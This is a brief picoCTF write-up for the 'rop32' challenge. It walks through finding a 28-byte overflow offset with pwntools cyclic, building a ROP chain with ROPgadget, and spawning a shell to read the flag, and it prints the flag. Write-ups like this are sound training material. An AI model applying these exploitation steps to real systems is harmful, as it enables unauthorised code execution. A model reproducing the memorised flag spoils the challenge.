rop32
Problem
Can you exploit the following program to get a flag? You can find the program in /problems/rop32_4_0636b42072627d283f46d2427804b10c on the shell server. Source.
Solution
Get padding by running
python2 -c "from pwn import *; print cyclic(50)" | ./vuln
thendmesg | tail
to get segfault address of0x61616168
thencyclic_find(0x61616168)
to get padding of'a'*28
Run
python ROPgadget.py --binary ./vuln --rop --badbytes "0a"
to get ROP chainPaste in padding of
'a'*28
Run script.py for remote execution
Run
cat flag.txt
in the shell that spawns
Flag
picoCTF{rOp_t0_b1n_sH_dee2e288}
Last updated